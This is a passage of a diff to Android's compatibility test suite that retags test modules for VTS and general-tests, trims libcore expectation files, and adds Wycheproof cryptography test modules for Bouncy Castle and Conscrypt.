+ assertTrue(sResumed.await(1, TimeUnit.SECONDS));
+ } else {
+ rule.runOnUiThread(() -> {
+ if (!mIsResumed) {
+ sResumed = new CountDownLatch(1);
+ }
+ });
+ if (sResumed != null) {
+ assertTrue(sResumed.await(1, TimeUnit.SECONDS));
+ sResumed = null;
+ }
+ }
+ }
+}
diff --git a/tests/inputmethod/Android.mk b/tests/inputmethod/Android.mk
index 7de22d4..0c1ed5f 100644
--- a/tests/inputmethod/Android.mk
+++ b/tests/inputmethod/Android.mk
@@ -22,7 +22,7 @@
LOCAL_MODULE_PATH := $(TARGET_OUT_DATA_APPS)
# Tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
LOCAL_MULTILIB := both
diff --git a/tests/jank/Android.mk b/tests/jank/Android.mk
index 0d4f533..16954f2 100644
--- a/tests/jank/Android.mk
+++ b/tests/jank/Android.mk
@@ -25,7 +25,7 @@
LOCAL_PACKAGE_NAME := CtsJankDeviceTestCases
# Tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
LOCAL_STATIC_JAVA_LIBRARIES := \
compatibility-device-util \
diff --git a/tests/jank/AndroidTest.xml b/tests/jank/AndroidTest.xml
index d22c0a2..9c409a5 100644
--- a/tests/jank/AndroidTest.xml
+++ b/tests/jank/AndroidTest.xml
@@ -14,6 +14,8 @@
limitations under the License.
-->
<configuration description="Config for CTS Jank test cases">
+ <option name="test-suite-tag" value="cts" />
+ <option name="not-shardable" value="true" />
<option name="config-descriptor:metadata" key="component" value="graphics" />
<target_preparer class="com.android.tradefed.targetprep.suite.SuiteApkInstaller">
<option name="cleanup-apks" value="true" />
diff --git a/tests/jdwp/Android.mk b/tests/jdwp/Android.mk
index d34e7af..debf41c 100644
--- a/tests/jdwp/Android.mk
+++ b/tests/jdwp/Android.mk
@@ -24,7 +24,7 @@
LOCAL_MODULE_TAGS := tests
# Tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
include $(BUILD_JAVA_LIBRARY)
diff --git a/tests/jdwp/AndroidTest.xml b/tests/jdwp/AndroidTest.xml
index 192ba78..72d26b1 100644
--- a/tests/jdwp/AndroidTest.xml
+++ b/tests/jdwp/AndroidTest.xml
@@ -39,5 +39,8 @@
<option name="known-failures" value="/expectations/jdwp-known-failures.txt" />
<option name="runtime-hint" value="16m" />
+ <!-- Temporary work around to avoid running android.test.AndroidTestCase. -->
+ <!-- TODO(64541592) - remove once AndroidTestCase is not statically included. -->
+ <option name="exclude-filter" value="android.test.AndroidTestCase" />
</test>
</configuration>
diff --git a/tests/jdwp/runner/device-side/Android.mk b/tests/jdwp/runner/device-side/Android.mk
index 871fc39..fa7b294 100644
--- a/tests/jdwp/runner/device-side/Android.mk
+++ b/tests/jdwp/runner/device-side/Android.mk
@@ -30,6 +30,6 @@
LOCAL_MODULE_TAGS := optional
# Tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
include $(BUILD_JAVA_LIBRARY)
diff --git a/tests/jdwp/runner/host-side/Android.mk b/tests/jdwp/runner/host-side/Android.mk
index 7398f69..32abf79 100644
--- a/tests/jdwp/runner/host-side/Android.mk
+++ b/tests/jdwp/runner/host-side/Android.mk
@@ -30,6 +30,6 @@
LOCAL_JAVA_RESOURCE_DIRS := resources
# Tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
include $(BUILD_HOST_JAVA_LIBRARY)
diff --git a/tests/jdwp/runner/host-side/src/com/android/compatibility/testtype/LibcoreTest.java b/tests/jdwp/runner/host-side/src/com/android/compatibility/testtype/LibcoreTest.java
index cc03798..f4021b2 100644
--- a/tests/jdwp/runner/host-side/src/com/android/compatibility/testtype/LibcoreTest.java
+++ b/tests/jdwp/runner/host-side/src/com/android/compatibility/testtype/LibcoreTest.java
@@ -18,6 +18,7 @@
import com.android.tradefed.config.Option;
import com.android.tradefed.device.DeviceNotAvailableException;
+import com.android.tradefed.log.LogUtil.CLog;
import com.android.tradefed.result.ITestInvocationListener;
import com.android.tradefed.testtype.AndroidJUnitTest;
import com.android.tradefed.util.ArrayUtil;
@@ -48,6 +49,16 @@
if (!mCoreExpectations.isEmpty()) {
addInstrumentationArg(INSTRUMENTATION_ARG_NAME, ArrayUtil.join(",", mCoreExpectations));
}
+
+ if (getTestPackageName() != null && getClassName() != null) {
+ // If the test-package is set, we should ignore --class, --method it might cause issue
+ // in more complex libcore suites.
+ setClassName(null);
+ setMethodName(null);
+ CLog.d(
+ "Setting --class and --method to null to avoid conflict with --test-package "
+ + "option.");
+ }
super.run(listener);
}
}
diff --git a/tests/leanbackjank/Android.mk b/tests/leanbackjank/Android.mk
index 25fd9a0..ec114f3 100644
--- a/tests/leanbackjank/Android.mk
+++ b/tests/leanbackjank/Android.mk
@@ -26,7 +26,7 @@
LOCAL_PACKAGE_NAME := CtsLeanbackJankTestCases
# Tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
LOCAL_STATIC_JAVA_LIBRARIES := \
compatibility-device-util \
diff --git a/tests/leanbackjank/AndroidTest.xml b/tests/leanbackjank/AndroidTest.xml
index d87cefa..31504b6 100644
--- a/tests/leanbackjank/AndroidTest.xml
+++ b/tests/leanbackjank/AndroidTest.xml
@@ -15,6 +15,7 @@
-->
<configuration description="Config for CTS LeanbackJank test cases">
<option name="config-descriptor:metadata" key="component" value="tv" />
+ <option name="not-shardable" value="true" />
<target_preparer class="com.android.tradefed.targetprep.suite.SuiteApkInstaller">
<option name="cleanup-apks" value="true" />
<option name="test-file-name" value="CtsLeanbackJankTestCases.apk" />
diff --git a/tests/leanbackjank/app/Android.mk b/tests/leanbackjank/app/Android.mk
index beeacdd..3fc685d 100644
--- a/tests/leanbackjank/app/Android.mk
+++ b/tests/leanbackjank/app/Android.mk
@@ -25,7 +25,7 @@
LOCAL_PACKAGE_NAME := CtsLeanbackJankApp
# Tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
LOCAL_RESOURCE_DIR := \
$(TOP)/frameworks/support/v17/leanback/res \
diff --git a/tests/libcore/javautilcollections/Android.mk b/tests/libcore/javautilcollections/Android.mk
index 2c7b7b1..e2bcef5 100644
--- a/tests/libcore/javautilcollections/Android.mk
+++ b/tests/libcore/javautilcollections/Android.mk
@@ -29,6 +29,6 @@
guava-testlib-20.0-prebuilt
LOCAL_SRC_FILES := $(call all-java-files-under, src)
LOCAL_PACKAGE_NAME := CtsLibcoreJavaUtilCollectionsTestCases
-LOCAL_COMPATIBILITY_SUITE := cts
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
include $(BUILD_CTS_PACKAGE)
diff --git a/tests/libcore/javautilcollections/AndroidTest.xml b/tests/libcore/javautilcollections/AndroidTest.xml
index 4303af5..75be288 100644
--- a/tests/libcore/javautilcollections/AndroidTest.xml
+++ b/tests/libcore/javautilcollections/AndroidTest.xml
@@ -1,3 +1,4 @@
+<?xml version="1.0" encoding="utf-8"?>
<!-- Copyright (C) 2016 The Android Open Source Project
Licensed under the Apache License, Version 2.0 (the "License");
@@ -13,8 +14,8 @@
limitations under the License.
-->
<configuration description="Config for CTS Libcore java.util Collection test cases">
- <option name="config-descriptor:metadata" key="component" value="libcore" />
<option name="not-shardable" value="true" />
+ <option name="config-descriptor:metadata" key="component" value="libcore" />
<target_preparer class="com.android.tradefed.targetprep.suite.SuiteApkInstaller">
<option name="cleanup-apks" value="true" />
<option name="test-file-name" value="CtsLibcoreJavaUtilCollectionsTestCases.apk" />
diff --git a/tests/libcore/jsr166/Android.mk b/tests/libcore/jsr166/Android.mk
index e71bb57..9e11815 100644
--- a/tests/libcore/jsr166/Android.mk
+++ b/tests/libcore/jsr166/Android.mk
@@ -34,12 +34,8 @@
LOCAL_PROGUARD_ENABLED := disabled
# Tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
-LOCAL_JAVA_RESOURCE_FILES := \
- libcore/expectations/brokentests.txt \
- libcore/expectations/icebox.txt \
- libcore/expectations/knownfailures.txt \
- libcore/expectations/taggedtests.txt
+LOCAL_JAVA_RESOURCE_FILES := libcore/expectations/knownfailures.txt
include $(BUILD_CTS_SUPPORT_PACKAGE)
diff --git a/tests/libcore/jsr166/AndroidTest.xml b/tests/libcore/jsr166/AndroidTest.xml
index 865f805..2a3e5d2 100644
--- a/tests/libcore/jsr166/AndroidTest.xml
+++ b/tests/libcore/jsr166/AndroidTest.xml
@@ -32,9 +32,6 @@
<option name="instrumentation-arg" key="filter"
value="com.android.cts.core.runner.ExpectationBasedFilter" />
<option name="core-expectation" value="/knownfailures.txt" />
- <option name="core-expectation" value="/brokentests.txt" />
- <option name="core-expectation" value="/icebox.txt" />
- <option name="core-expectation" value="/taggedtests.txt" />
<option name="runtime-hint" value="10m"/>
<!-- 20x default timeout of 600sec -->
<option name="shell-timeout" value="12000000"/>
diff --git a/tests/libcore/luni/Android.mk b/tests/libcore/luni/Android.mk
index c42a987..81b44d3 100644
--- a/tests/libcore/luni/Android.mk
+++ b/tests/libcore/luni/Android.mk
@@ -24,8 +24,8 @@
core-tests \
cts-core-test-runner \
mockito-target-minus-junit4 \
- tzdata_shared2-tests \
- tzdata_update2-tests
+ time_zone_distro-tests \
+ time_zone_distro_installer-tests
# Don't include this package in any target
LOCAL_MODULE_TAGS := tests
@@ -38,7 +38,8 @@
LOCAL_DX_FLAGS := --multi-dex
LOCAL_PROGUARD_ENABLED := disabled
-
+# Keep META-INF/ resources from LOCAL_STATIC_JAVA_LIBRARIES. http://b/62341677
+LOCAL_DONT_DELETE_JAR_META_INF := true
LOCAL_JNI_SHARED_LIBRARIES := libjavacoretests libsqlite_jni libnativehelper_compat_libc++ libc++
# Include both the 32 and 64 bit versions of libjavacoretests,
@@ -46,13 +47,12 @@
LOCAL_MULTILIB := both
# Tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
+# NOTE: virtualdeviceknownfailures.txt is only used for simulated/cloud-based
+# continuous build configurations, so it's not referenced in AndroidTest.xml
LOCAL_JAVA_RESOURCE_FILES := \
- libcore/expectations/brokentests.txt \
- libcore/expectations/icebox.txt \
libcore/expectations/knownfailures.txt \
- libcore/expectations/taggedtests.txt \
libcore/expectations/virtualdeviceknownfailures.txt
include $(BUILD_CTS_SUPPORT_PACKAGE)
diff --git a/tests/libcore/luni/AndroidTest.xml b/tests/libcore/luni/AndroidTest.xml
index 4abb65c..a8c4142 100644
--- a/tests/libcore/luni/AndroidTest.xml
+++ b/tests/libcore/luni/AndroidTest.xml
@@ -32,9 +32,6 @@
<option name="instrumentation-arg" key="filter"
value="com.android.cts.core.runner.ExpectationBasedFilter" />
<option name="core-expectation" value="/knownfailures.txt" />
- <option name="core-expectation" value="/brokentests.txt" />
- <option name="core-expectation" value="/icebox.txt" />
- <option name="core-expectation" value="/taggedtests.txt" />
<option name="runtime-hint" value="45m"/>
<!-- 20x default timeout of 600sec -->
<option name="shell-timeout" value="12000000"/>
diff --git a/tests/libcore/ojluni/Android.mk b/tests/libcore/ojluni/Android.mk
index 36ba4f2..be709be 100644
--- a/tests/libcore/ojluni/Android.mk
+++ b/tests/libcore/ojluni/Android.mk
@@ -30,6 +30,9 @@
LOCAL_DEX_PREOPT := false
LOCAL_JACK_FLAGS := --multi-dex native
+# Keep META-INF/ resources from LOCAL_STATIC_JAVA_LIBRARIES. http://b/62231394
+LOCAL_DONT_DELETE_JAR_META_INF := true
+
LOCAL_PROGUARD_ENABLED := disabled
# Include both the 32 and 64 bit versions of libjavacoretests,
@@ -37,12 +40,8 @@
LOCAL_MULTILIB := both
# Tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
-LOCAL_JAVA_RESOURCE_FILES := \
- libcore/expectations/brokentests.txt \
- libcore/expectations/icebox.txt \
- libcore/expectations/knownfailures.txt \
- libcore/expectations/taggedtests.txt
+LOCAL_JAVA_RESOURCE_FILES := libcore/expectations/knownfailures.txt
include $(BUILD_CTS_SUPPORT_PACKAGE)
diff --git a/tests/libcore/ojluni/AndroidTest.xml b/tests/libcore/ojluni/AndroidTest.xml
index faaff96..1cebd4e 100644
--- a/tests/libcore/ojluni/AndroidTest.xml
+++ b/tests/libcore/ojluni/AndroidTest.xml
@@ -36,10 +36,6 @@
<option name="instrumentation-arg" key="filter"
value="com.android.cts.core.runner.ExpectationBasedFilter" />
<option name="core-expectation" value="/knownfailures.txt" />
- <option name="core-expectation" value="/brokentests.txt" />
- <option name="core-expectation" value="/icebox.txt" />
- <option name="core-expectation" value="/taggedtests.txt" />
- <option name="core-expectation" value="/expectations/cts-runner-specific-failures.txt" />
<option name="runtime-hint" value="35m"/>
<!-- 20x default timeout of 600sec -->
<option name="shell-timeout" value="12000000"/>
diff --git a/tests/libcore/okhttp/Android.mk b/tests/libcore/okhttp/Android.mk
index 840f1a2..91e9ef5 100644
--- a/tests/libcore/okhttp/Android.mk
+++ b/tests/libcore/okhttp/Android.mk
@@ -40,12 +40,8 @@
LOCAL_MULTILIB := both
# Tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
-LOCAL_JAVA_RESOURCE_FILES := \
- libcore/expectations/brokentests.txt \
- libcore/expectations/icebox.txt \
- libcore/expectations/knownfailures.txt \
- libcore/expectations/taggedtests.txt
+LOCAL_JAVA_RESOURCE_FILES := libcore/expectations/knownfailures.txt
include $(BUILD_CTS_SUPPORT_PACKAGE)
diff --git a/tests/libcore/okhttp/AndroidTest.xml b/tests/libcore/okhttp/AndroidTest.xml
index 970fd8e..4e79b80 100644
--- a/tests/libcore/okhttp/AndroidTest.xml
+++ b/tests/libcore/okhttp/AndroidTest.xml
@@ -32,9 +32,6 @@
<option name="instrumentation-arg" key="filter"
value="com.android.cts.core.runner.ExpectationBasedFilter" />
<option name="core-expectation" value="/knownfailures.txt" />
- <option name="core-expectation" value="/brokentests.txt" />
- <option name="core-expectation" value="/icebox.txt" />
- <option name="core-expectation" value="/taggedtests.txt" />
<option name="runtime-hint" value="15m"/>
<!-- 20x default timeout of 600sec -->
<option name="shell-timeout" value="12000000"/>
diff --git a/tests/libcore/runner/Android.mk b/tests/libcore/runner/Android.mk
index d7399cd..6ef3c03 100644
--- a/tests/libcore/runner/Android.mk
+++ b/tests/libcore/runner/Android.mk
@@ -33,6 +33,6 @@
LOCAL_PROGUARD_ENABLED := disabled
# Tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
include $(BUILD_CTS_SUPPORT_PACKAGE)
diff --git a/tests/libcore/wycheproof-bc/Android.mk b/tests/libcore/wycheproof-bc/Android.mk
new file mode 100644
index 0000000..801feac
--- /dev/null
+++ b/tests/libcore/wycheproof-bc/Android.mk
@@ -0,0 +1,49 @@
+# Copyright (C) 2017 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+# http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+LOCAL_PATH:= $(call my-dir)
+
+include $(CLEAR_VARS)
+
+LOCAL_PACKAGE_NAME := CtsLibcoreWycheproofBCTestCases
+
+LOCAL_STATIC_JAVA_LIBRARIES := \
+ cts-core-test-runner \
+ wycheproof
+
+LOCAL_JAVA_LIBRARIES := bouncycastle
+
+# Don't include this package in any target
+LOCAL_MODULE_TAGS := tests
+
+# When built, explicitly put it in the data partition.
+LOCAL_MODULE_PATH := $(TARGET_OUT_DATA_APPS)
+
+LOCAL_SRC_FILES := $(call all-java-files-under,src)
+
+LOCAL_DEX_PREOPT := false
+LOCAL_JACK_FLAGS := --multi-dex native
+
+LOCAL_PROGUARD_ENABLED := disabled
+
+# Include both the 32 and 64 bit versions of libjavacoretests,
+# where applicable.
+LOCAL_MULTILIB := both
+
+# Tag this module as a cts test artifact
+LOCAL_COMPATIBILITY_SUITE := cts vts
+
+LOCAL_JAVA_RESOURCE_FILES := libcore/expectations/knownfailures.txt
+
+include $(BUILD_CTS_SUPPORT_PACKAGE)
diff --git a/tests/libcore/wycheproof-bc/AndroidManifest.xml b/tests/libcore/wycheproof-bc/AndroidManifest.xml
new file mode 100644
index 0000000..15c5fd5
--- /dev/null
+++ b/tests/libcore/wycheproof-bc/AndroidManifest.xml
@@ -0,0 +1,28 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!--
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ -->
+
+<manifest xmlns:android="http://schemas.android.com/apk/res/android" package="android.libcore.cts.wycheproof.bouncycastle">
+ <uses-permission android:name="android.permission.INTERNET" />
+ <application>
+ <uses-library android:name="android.test.runner" />
+ </application>
+
+ <instrumentation android:name="android.support.test.runner.AndroidJUnitRunner"
+ android:targetPackage="android.libcore.cts.wycheproof.bouncycastle"
+ android:label="CTS Libcore Wycheproof Bouncy Castle test cases" />
+
+</manifest>
diff --git a/tests/libcore/wycheproof-bc/AndroidTest.xml b/tests/libcore/wycheproof-bc/AndroidTest.xml
new file mode 100644
index 0000000..08238ce
--- /dev/null
+++ b/tests/libcore/wycheproof-bc/AndroidTest.xml
@@ -0,0 +1,37 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!-- Copyright (C) 2017 The Android Open Source Project
+
+ Licensed under the Apache License, Version 2.0 (the "License");
+ you may not use this file except in compliance with the License.
+ You may obtain a copy of the License at
+
+ http://www.apache.org/licenses/LICENSE-2.0
+
+ Unless required by applicable law or agreed to in writing, software
+ distributed under the License is distributed on an "AS IS" BASIS,
+ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ See the License for the specific language governing permissions and
+ limitations under the License.
+-->
+<configuration description="Config for CTS Libcore Wycheproof Bouncy Castle test cases">
+ <option name="config-descriptor:metadata" key="component" value="libcore" />
+ <target_preparer class="com.android.tradefed.targetprep.suite.SuiteApkInstaller">
+ <option name="cleanup-apks" value="true" />
+ <!-- this has just the instrumentation which acts as the tests we want to run -->
+ <option name="test-file-name" value="CtsLibcoreWycheproofBCTestCases.apk" />
+ </target_preparer>
+ <test class="com.android.compatibility.testtype.LibcoreTest" >
+ <option name="package" value="android.libcore.cts.wycheproof.bouncycastle" />
+ <!-- The individual test cases don't work unless they're run in the
+ context of one of the suites, so we have to limit the test
+ infrastructure to only running the test suites. -->
+ <option name="test-package" value="android.libcore.cts.wycheproof" />
+ <option name="instrumentation-arg" key="listener"
+ value="com.android.cts.runner.CtsTestRunListener" />
+ <option name="instrumentation-arg" key="filter"
+ value="com.android.cts.core.runner.ExpectationBasedFilter" />
+ <option name="core-expectation" value="/knownfailures.txt" />
+ <option name="runtime-hint" value="10m"/>
+ <option name="test-timeout" value="600000" />
+ </test>
+</configuration>
diff --git a/tests/libcore/wycheproof-bc/src/android/libcore/cts/wycheproof/BouncyCastleSupportProvider.java b/tests/libcore/wycheproof-bc/src/android/libcore/cts/wycheproof/BouncyCastleSupportProvider.java
new file mode 100644
index 0000000..d6ab5c1
--- /dev/null
+++ b/tests/libcore/wycheproof-bc/src/android/libcore/cts/wycheproof/BouncyCastleSupportProvider.java
@@ -0,0 +1,48 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.libcore.cts.wycheproof;
+
+import java.security.Provider;
+
+/**
+ * Provides a small number of exports to allow Bouncy Castle tests to function properly.
+ * Our modified version of Bouncy Castle depends on Conscrypt for a few pieces of
+ * functionality, but in tests we don't want to have Conscrypt installed so that we can test
+ * Bouncy Castle properly. We install this provider instead.
+ */
+public class BouncyCastleSupportProvider extends Provider {
+
+ // The classes are jarjared, so this is the prefix in practice.
+ private static final String PREFIX = "com.android.org.conscrypt.";
+
+ public BouncyCastleSupportProvider() {
+ // Our modified version of Bouncy Castle specifically expects certain algorithms
+ // to be provided by a provider named "AndroidOpenSSL", so we use that name
+ super("AndroidOpenSSL", 0.0,
+ "Provides algorithms that Bouncy Castle needs to work in tests");
+
+ // Conscrypt is the only SecureRandom implementation
+ put("SecureRandom.SHA1PRNG", PREFIX + "OpenSSLRandom");
+
+ // Bouncy Castle's MACs are backed by Conscrypt's MessageDigests
+ put("MessageDigest.SHA-1", PREFIX + "OpenSSLMessageDigestJDK$SHA1");
+ put("MessageDigest.SHA-224", PREFIX + "OpenSSLMessageDigestJDK$SHA224");
+ put("MessageDigest.SHA-256", PREFIX + "OpenSSLMessageDigestJDK$SHA256");
+ put("MessageDigest.SHA-384", PREFIX + "OpenSSLMessageDigestJDK$SHA384");
+ put("MessageDigest.SHA-512", PREFIX + "OpenSSLMessageDigestJDK$SHA512");
+ }
+}
diff --git a/tests/libcore/wycheproof-bc/src/android/libcore/cts/wycheproof/BouncyCastleTest.java b/tests/libcore/wycheproof-bc/src/android/libcore/cts/wycheproof/BouncyCastleTest.java
new file mode 100644
index 0000000..dfb71e8
--- /dev/null
+++ b/tests/libcore/wycheproof-bc/src/android/libcore/cts/wycheproof/BouncyCastleTest.java
@@ -0,0 +1,91 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.libcore.cts.wycheproof;
+
+import com.android.org.bouncycastle.jce.provider.BouncyCastleProvider;
+import com.google.security.wycheproof.AesGcmTest;
+import com.google.security.wycheproof.BasicTest;
+import com.google.security.wycheproof.CipherInputStreamTest;
+import com.google.security.wycheproof.CipherOutputStreamTest;
+import com.google.security.wycheproof.DhTest;
+import com.google.security.wycheproof.DhiesTest;
+import com.google.security.wycheproof.DsaTest;
+import com.google.security.wycheproof.EcKeyTest;
+import com.google.security.wycheproof.EcdhTest;
+import com.google.security.wycheproof.EcdsaTest;
+import com.google.security.wycheproof.RsaEncryptionTest;
+import com.google.security.wycheproof.RsaKeyTest;
+import com.google.security.wycheproof.RsaSignatureTest;
+import com.google.security.wycheproof.TestUtil;
+import com.google.security.wycheproof.WycheproofRunner;
+import com.google.security.wycheproof.WycheproofRunner.Fast;
+import com.google.security.wycheproof.WycheproofRunner.Provider;
+import com.google.security.wycheproof.WycheproofRunner.ProviderType;
+
+import org.junit.AfterClass;
+import org.junit.BeforeClass;
+import org.junit.runner.RunWith;
+import org.junit.runners.Suite.SuiteClasses;
+
+import java.security.Security;
+import java.util.ArrayList;
+import java.util.Arrays;
+import java.util.List;
+
+/**
+ * Checks that our Bouncy Castle provider properly implements all its functionality.
+ */
+@RunWith(WycheproofRunner.class)
+@SuiteClasses({
+ AesGcmTest.class,
+ BasicTest.class,
+ CipherInputStreamTest.class,
+ CipherOutputStreamTest.class,
+ DhTest.class,
+ DhiesTest.class,
+ DsaTest.class,
+ EcKeyTest.class,
+ EcdhTest.class,
+ EcdsaTest.class,
+ RsaEncryptionTest.class,
+ RsaKeyTest.class,
+ RsaSignatureTest.class,
+})
+@Provider(ProviderType.BOUNCY_CASTLE)
+@Fast
+public final class BouncyCastleTest {
+
+ private static final List<java.security.Provider> previousProviders = new ArrayList<>();
+
+ @BeforeClass
+ public static void setUp() throws Exception {
+ previousProviders.clear();
+ previousProviders.addAll(Arrays.asList(Security.getProviders()));
+ TestUtil.installOnlyThisProvider(new BouncyCastleProvider());
+ Security.addProvider(new BouncyCastleSupportProvider());
+ }
+
+ @AfterClass
+ public static void tearDown() throws Exception {
+ for (java.security.Provider p : Security.getProviders()) {
+ Security.removeProvider(p.getName());
+ }
+ for (java.security.Provider p : previousProviders) {
+ Security.addProvider(p);
+ }
+ }
+}
diff --git a/tests/libcore/wycheproof/Android.mk b/tests/libcore/wycheproof/Android.mk
new file mode 100644
index 0000000..652e36c
--- /dev/null
+++ b/tests/libcore/wycheproof/Android.mk
@@ -0,0 +1,49 @@
+# Copyright (C) 2017 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+# http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+LOCAL_PATH:= $(call my-dir)
+
+include $(CLEAR_VARS)
+
+LOCAL_PACKAGE_NAME := CtsLibcoreWycheproofConscryptTestCases
+
+LOCAL_STATIC_JAVA_LIBRARIES := \
+ cts-core-test-runner \
+ wycheproof
+
+LOCAL_JAVA_LIBRARIES := conscrypt
+
+# Don't include this package in any target
+LOCAL_MODULE_TAGS := tests
+
+# When built, explicitly put it in the data partition.
+LOCAL_MODULE_PATH := $(TARGET_OUT_DATA_APPS)
+
+LOCAL_SRC_FILES := $(call all-java-files-under,src)
+
+LOCAL_DEX_PREOPT := false
+LOCAL_JACK_FLAGS := --multi-dex native
+
+LOCAL_PROGUARD_ENABLED := disabled
+
+# Include both the 32 and 64 bit versions of libjavacoretests,
+# where applicable.
+LOCAL_MULTILIB := both
+
+# Tag this module as a cts test artifact
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
+
+LOCAL_JAVA_RESOURCE_FILES := libcore/expectations/knownfailures.txt
+
+include $(BUILD_CTS_SUPPORT_PACKAGE)
diff --git a/tests/libcore/wycheproof/AndroidManifest.xml b/tests/libcore/wycheproof/AndroidManifest.xml
new file mode 100644
index 0000000..765c677
--- /dev/null
+++ b/tests/libcore/wycheproof/AndroidManifest.xml
@@ -0,0 +1,28 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!--
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ -->
+
+<manifest xmlns:android="http://schemas.android.com/apk/res/android" package="android.libcore.cts.wycheproof.conscrypt">
+ <uses-permission android:name="android.permission.INTERNET" />
+ <application>
+ <uses-library android:name="android.test.runner" />
+ </application>
+
+ <instrumentation android:name="android.support.test.runner.AndroidJUnitRunner"
+ android:targetPackage="android.libcore.cts.wycheproof.conscrypt"
+ android:label="CTS Libcore Wycheproof Conscrypt test cases" />
+
+</manifest>
diff --git a/tests/libcore/wycheproof/AndroidTest.xml b/tests/libcore/wycheproof/AndroidTest.xml
new file mode 100644
index 0000000..b5874fd
--- /dev/null
+++ b/tests/libcore/wycheproof/AndroidTest.xml
@@ -0,0 +1,36 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!-- Copyright (C) 2017 The Android Open Source Project
+
+ Licensed under the Apache License, Version 2.0 (the "License");
+ you may not use this file except in compliance with the License.
+ You may obtain a copy of the License at
+
+ http://www.apache.org/licenses/LICENSE-2.0
+
+ Unless required by applicable law or agreed to in writing, software
+ distributed under the License is distributed on an "AS IS" BASIS,
+ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ See the License for the specific language governing permissions and
+ limitations under the License.
+-->
+<configuration description="Config for CTS Libcore Wycheproof Conscrypt test cases">
+ <option name="config-descriptor:metadata" key="component" value="libcore" />
+ <target_preparer class="com.android.tradefed.targetprep.suite.SuiteApkInstaller">
+ <option name="cleanup-apks" value="true" />
+ <!-- this has just the instrumentation which acts as the tests we want to run -->
+ <option name="test-file-name" value="CtsLibcoreWycheproofConscryptTestCases.apk" />
+ </target_preparer>
+ <test class="com.android.compatibility.testtype.LibcoreTest" >
